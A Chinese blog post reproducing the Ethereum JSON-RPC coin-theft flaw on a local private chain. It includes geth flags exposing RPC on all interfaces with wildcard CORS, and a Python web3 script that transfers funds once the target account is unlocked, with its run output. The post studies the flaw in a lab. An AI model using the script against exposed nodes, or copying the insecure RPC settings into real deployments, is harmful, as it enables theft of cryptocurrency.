以太坊rpc接口盗币漏洞复现

栏目: 服务器 · 发布时间: 6年前

内容简介:关于漏洞是什么,可以查看参考中的因为不清楚最新的以太坊程序是否已不存在此问题,所以对这个安全漏洞做了一次本地环境的测试。根据参考中的的

关于漏洞是什么,可以查看参考中的 金钱难寐,大盗独行——以太坊 JSON-RPC 接口多种盗币手法大揭秘 文章。

因为不清楚最新的以太坊程序是否已不存在此问题,所以对这个安全漏洞做了一次本地环境的测试。

环境搭建

搭建私链

根据参考中的的 如何搭建以太坊私有链 文章,基本没坑地在本地起了一个以太坊节点。

自己一开始使用–testnet参数,却好像因为不能同步测试网络的原因,区块链高度(eth.blockNumber)一直是0。最终就没在测试网络复现了。

如果不是mac,可以在geth容器里操作,后面的步骤还是参考 如何搭建以太坊私有链 文章。

进入geth容器命令行:

docker run -ti --name ethereum-node --entrypoint="/bin/sh" -v /mnt/files/myethereum:/root -p 8546:8545 -p 30303:30303 ethereum/client-go

需要注意的地方:

geth --datadir data0 --networkid 1108 --rpcaddr 0.0.0.0 --rpc --rpccorsdomain "*" --rpcapi "web3,eth" --rpcvhosts=* console

测试代码

需要安装 python 3

# coding:utf-8
from web3 import Web3, HTTPProvider
import time


web3 = Web3(HTTPProvider('http://localhost:8545'))

eth = web3.eth

print(web3.eth.blockNumber)
# print(web3.eth.accounts)
print(eth.getBalance(eth.accounts[0]))
print(eth.getBalance(eth.accounts[1]))

web3.eth.sendTransaction({'to': eth.accounts[1], 'from': eth.accounts[0], 'value': 12345})

实验步骤

  1. 新建两个账号
  2. 给账号一挖矿,拿钱
  3. 模拟攻击者调rpc接口偷账号一的钱到账户二 (没有解锁用户时)

      /tmp python3 转账测试.py
    1539
    7694999999999994741030
    5258970
    Traceback (most recent call last):
      File "转账测试.py", line 15, in <module>
        web3.eth.sendTransaction({'to': eth.accounts[1], 'from': eth.accounts[0], 'value': 12345})
      File "/usr/local/lib/python3.7/site-packages/web3/eth.py", line 268, in sendTransaction
        [transaction],
      File "/usr/local/lib/python3.7/site-packages/web3/manager.py", line 112, in request_blocking
        raise ValueError(response["error"])
    ValueError: {'code': -32000, 'message': 'authentication needed: password or unlock'}
  4. 模拟攻击者调rpc接口偷账号一的钱到账户二 (解锁用户时)

    personal.unlockAccount(eth.accounts[0])   解锁时间默认为300
    
    再运行python3 转账测试.py,此时交易就被提交上去了
  5. 如此重复调用转账测试.py,区块链高度不断增加,账户一的余额越来越少


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Perl高效编程

Perl高效编程

霍尔 / 胜春、王晖、张东亮、蒋永清 / 人民邮电出版社 / 2011-5 / 65.00元

《Perl高效编程(第2版)》,本书是Perl编程领域的“圣经级”著作。它提供了一百多个详实的应用案例,足以涵盖编程过程中经常遇到的方方面面,由此详细阐释出各种高效且简洁的写法。一起来看看 《Perl高效编程》 这本书的介绍吧!

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

SHA 加密
SHA 加密

SHA 加密工具